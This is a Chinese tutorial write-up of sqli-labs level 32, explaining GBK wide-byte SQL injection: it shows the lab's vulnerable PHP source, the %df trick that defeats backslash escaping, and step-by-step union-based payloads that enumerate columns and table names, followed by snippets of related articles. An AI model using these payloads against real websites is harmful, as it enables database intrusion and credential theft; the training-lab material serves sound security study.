sql注入--宽字节注入
sql注入–宽字节注入
靶场:sqli-labs-master
下载链接:靶场下载链接
第32关
php源码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");function check_addslashes($string)
{$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslashreturn $string;
}// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo $sql;
echo "</br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font color= "#00FF00">'; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>"; }
}else { echo "Please input the ID as parameter with numeric value";}?>
分析源代码可以知道
该页面对传入的id进行了过滤,对提交的反斜杠,单引号和双引号都进行了转义
使用gbk进行编码
漏洞原理:1个gbk编码占用2个字节
1个utf-8编码占用3个字节
数据库必须使用gbk编码才存在宽字节注入
利用了gbk两个字节为1个汉字的特点,而有的php程序对输入的单引号进行了转义,即把’转义为 \’ ,而经过url编码后,\被编码为%5c,所以我们可以构造payload将这个%5c吃掉,组成一个gbk对应的汉字编码达到绕过过滤的目的
正常查询:
尝试使用单引号进行闭合
页面回显没有变化,说明’被过滤
对于gbk编码,可以构造payload:
1%df’
原理:1.‘被转义为’ 2.\经过url编码被转义为%5c 3.%5c 与前面的%df组合成 %df%5c 在gbk编码中一个汉字对应两个字节,刚好%df%5c就对应汉字 :誠 ,因此经过解析,查询语句变为了?id=1誠’
页面报错
这样单引号就被闭合了。就可以进行一系列的注入操作
①.获取字段信息
?id =1%df' order by 3 %23
order by 3时有回显,4 时报错,猜解出字段数为3
②.猜解回显点
?id=0%df' union select 1,2,3 %23
2,3为回显点
③.获取数据表名字
第一个表
?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1%23
第二个表
?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1%23
第三个表
?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1%23
第四个表
?id=0%df' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 2,1%23
sql注入--宽字节注入相关推荐
- SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用
Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...
- SQL注入 | 宽字节注入2
SQL注入 | 宽字节注入2 1.宽字节注入基础 最常使用的宽字节注入是利用%df,其实我们只要第一个ASCII码大于128就可以了,比如ASCII码为129的就可以,但是我们怎么将他转换为URL编码 ...
- mysql 宽字符注入_sql注入 宽字节注入
宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(ascii码要大于128,才到汉字的范围), 而当我们输入有单引号时会自动加入\进行转义而 ...
- 渗透测试学习笔记(一)注入篇-盲注 二次注入 宽字节注入
时间注入攻击 sleep() 利用函数if(条件,结果1,结果2) len id = 1 and if(length(database())>1,sleep(5),1) 首先猜解表名称长度 s ...
- 封神台SQL注入-宽字节
一.原理 magic_quotes_gpc(魔术引号开关) magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post.get.cookie过来的数据增加转义字符 ...
- sql注入_1-8_宽字节注入
文章目录 一.sql_宽字节注入概念 二.sql_宽字节注入源码分析 三.sql_宽字节注入演示 四.sql_宽字节注入总结 一.sql_宽字节注入概念 1.了解宽字节注入前,必须先了解字符集编码:点 ...
- mysql sql宽字节注入_sql注入之宽字节注入
宽字节注入是因为数据库使用了GBK编码,不过现在大都使用unicode国际编码,大多数网站都使用了utf-8的编码 不过既然是sql注入的一部分,也搭建环境 做做实验 实验环境: wamp集成包 实 ...
- SQL注入教程——(四)宽字节注入
前言 在mysql中,用于转义(即在字符串中的符号前加上"\")的函数有addslashes,mysql_real_escape_string,mysql_escape_strin ...
- ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入
0x01 前言 准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点. 在计算机中,字符的表示与存储都离不开编码.例如ASCII,utf-8,gbk2312等.通常字符的表示都只需1 ...
最新文章
- oralce mysql_Oralce和Mysql的3个区别
- 性能测试vs负载测试vs压力测试
- k8s部署dashboard
- 段错误 (核心已转储)_向大厂看齐!为自己的程序增加自动转储的功能!
- 如何学习Linux性能优化?
- DataX配置及使用
- SAP Spartacus layout设计原理
- sqlserver2008r2安装
- 构建Java Web开发环境
- python之路-SQLAlchemy
- 文章中嵌入代码块_如何在您的文章中嵌入多项选择测验问题
- 编译:splint 遇到的问题: undefined reference to `yywrap'
- Objective-C:ARC自动释放对象内存
- 网站做渗透测试服务的步骤
- FFmpeg 视频裁剪
- 20考研暨南大学上岸经验贴QAQ
- IPV6 DNS服务器地址列表
- python运行内存不足_python svm内存不足怎么解决?
- JavaScript多线程编程
- 软件工程---个人总结
热门文章
- xp系统网上邻居看不到局域网电脑_网上邻居看不到局域网的其它计算机名
- 24款神级插件,让你的 vscode更牛
- 云聚创新力量 领航数字未来 峯云5G·联通沃云峰会2019成功举行
- 一种经典的客户关系管理系统(CRM)订单模型的设计与实现
- 团队项目3.0与第六七章读后感
- IPv6路由器警告(alert)选项
- win10虚拟机dhcp服务器,怎么解决win10系统关闭虚拟机开机停在dhcp无法启动的问题...
- Aspose.Words 复制表格并将复制的表格插入原有表格后面
- 008 解决问题的策略 转化(苏教版 五下)
- 【小程序】微信小程序自定义导航栏及其封装